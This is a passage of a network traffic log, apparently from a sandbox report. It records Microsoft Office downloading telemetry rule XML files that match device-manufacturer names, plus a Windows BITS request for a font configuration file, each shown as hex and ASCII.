M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:35 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:35 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165835Z-174f7845968kvnqxhC1EWRmf3g0000000g0000000000eebz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:35 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:37 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:37 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165837Z-174f7845968xr5c2hC1EWRd0hn0000000e4g0000000047h3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:37 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:37 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165837Z-174f784596886s2bhC1EWR743w0000000x9g000000007et8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:37 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:37 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165837Z-174f7845968kvnqxhC1EWRmf3g0000000fx000000000synz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:38 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:37 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165838Z-174f7845968kdththC1EWRzvxn00000009k000000000cark x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49764	23.214.206.19	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:37 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-27 16:58:38 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=120166 Date: Wed, 27 Nov 2024 16:58:38 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-27 16:58:38 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:37 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:38 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165838Z-174f7845968kdththC1EWRzvxn00000009ng0000000044r4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:38 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:39 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:39 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 48138194-301e-0020-3858-406299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165839Z-174f7845968swgbqhC1EWRmnb40000000xdg0000000069a5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:40 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:39 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:40 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165840Z-174f7845968kdththC1EWRzvxn00000009mg000000007yq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:40 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:40 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165840Z-174f7845968xr5c2hC1EWRd0hn0000000e1g00000000ec47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:40 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:40 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165840Z-174f7845968l4kp6hC1EWRe8840000000xeg00000000d25d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:40 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:40 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:40 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165840Z-174f784596886s2bhC1EWR743w0000000x6000000000kzew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:41 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:42 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
